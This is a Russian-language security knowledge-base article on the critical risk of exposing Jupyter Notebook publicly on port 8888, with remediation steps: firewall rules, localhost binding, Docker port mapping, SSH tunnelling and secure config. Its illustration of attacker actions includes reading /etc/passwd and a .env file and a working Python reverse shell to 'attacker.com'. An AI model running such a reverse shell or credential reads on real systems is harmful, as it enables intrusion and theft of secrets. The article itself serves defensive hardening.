Knowledge Base
Jupyter Notebook открыт публично (порт 8888)
Jupyter Notebook открыт публично — порт 8888
Категория: Server Hardening · Риск: critical
Jupyter Notebook открыт публично — порт 8888
Почему это абсолютно критично
Jupyter Notebook предоставляет **интерактивный Python/R/Julia интерпретатор** через браузер. Без пароля или с дефолтным токеном это эквивалентно SSH-доступу с правами пользователя, запустившего Jupyter.
# Что может сделать атакующий через открытый Jupyter:
# 1. Читать файлы сервера
import subprocess
result = subprocess.run(['cat', '/etc/passwd'], capture_output=True, text=True)
print(result.stdout)
# 2. Скачать .env файл
with open('/app/.env') as f:
print(f.read())
# 3. Установить reverse shell
import socket, subprocess, os
s = socket.socket()
s.connect(('attacker.com', 4444))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
subprocess.call(['/bin/sh', '-i'])
# 4. Запустить любую команду
import os
os.system('whoami && id && hostname')
Немедленное исправление
Закрыть публичный доступ
# ufw — закрыть порт
ufw deny 8888
# Или убить Jupyter
pkill -f jupyter
Правильный запуск (только localhost)
# Запустить ТОЛЬКО на localhost
jupyter notebook --no-browser --ip=127.0.0.1 --port=8888
# С паролем
jupyter notebook password # установить пароль
jupyter notebook --no-browser --ip=127.0.0.1
Docker — не пробрасывать порт публично
# НЕПРАВИЛЬНО:
services:
jupyter:
ports:
- "8888:8888" # ← открыт всему миру
# ПРАВИЛЬНО — только localhost:
ports:
- "127.0.0.1:8888:8888"
Безопасный удалённый доступ через SSH туннель
# На локальной машине — создать SSH-туннель
ssh -L 8888:127.0.0.1:8888 user@remote-host
# Теперь открыть http://localhost:8888 в браузере
# Jupyter НЕ доступен извне, только через туннель
JupyterHub для команды
# Если нужен доступ для нескольких пользователей — используйте JupyterHub
# с аутентификацией через PAM, OAuth, LDAP
pip install jupyterhub
jupyterhub --ip=0.0.0.0 --port=8000 --ssl-key /path/to/ssl.key --ssl-cert /path/to/ssl.crt
Конфигурация безопасности
# jupyter_notebook_config.py
c.NotebookApp.ip = '127.0.0.1' # только localhost
c.NotebookApp.open_browser = False
c.NotebookApp.password = 'argon2:...' # хэш от jupyter notebook password
c.NotebookApp.allow_root = False # не запускать от root
c.NotebookApp.certfile = '/path/cert.pem' # TLS
c.NotebookApp.keyfile = '/path/key.pem'
Связанные проверки
- [Открытые admin-панели](/kb/web_app_security/open-admin-panels)
- [Проброс портов контейнеров](/kb/server_hardening/container-public-ports-inventory)